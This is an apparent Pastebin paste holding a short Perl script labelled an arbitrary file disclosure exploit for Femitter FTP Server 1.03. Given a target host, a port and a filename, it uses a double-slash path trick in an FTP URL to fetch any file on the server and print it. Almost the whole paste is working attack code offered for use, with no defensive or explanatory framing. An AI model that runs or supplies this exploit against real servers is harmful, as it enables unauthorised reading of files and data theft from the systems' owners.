UY-Scuti

Untitled

Jul 10th, 2019
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Femitter FTP Server 1.03 Arbitrary File Disclosure Exploit
  3. # Like ftpdmin 0.96 the same exploit but here is work just with double slach not 1 :d xd
  4. # By stack
  5. # Cyber-Zone
  6.  
  7. use LWP::Simple;
  8. use LWP::UserAgent;
  9.  
  10. if (@ARGV < 3) {
  11. print("Usage: $0 <url> <port> <filename> \n");
  12. print("TARGETS are\n ");
  13. print("Define full path with file name \n");
  14. print("Example FTP: perl $0 127.0.0.1 21 boot.ini \n");
  15. exit(1);
  16. }
  17. ($target, $port,$filename) = @ARGV;
  18. print("Femitter FTP Exploit : Coded by Stack!\n");
  19. print("Attacking $target on port $port!\n");
  20. print("FILENAME: $filename\n");
  21.  
  22. $temp="/" x 2;
  23. my $url= "ftp://". $target. ":" . $port .$temp . $filename;
  24. $content=get $url;
  25. print("\n FILE CONTENT STARTED");
  26. print("\n -----------------------------------\n");
  27. print("$content");
  28. print("\n -------------------------------------\n");
Advertisement
Add Comment
Please, Sign In to add comment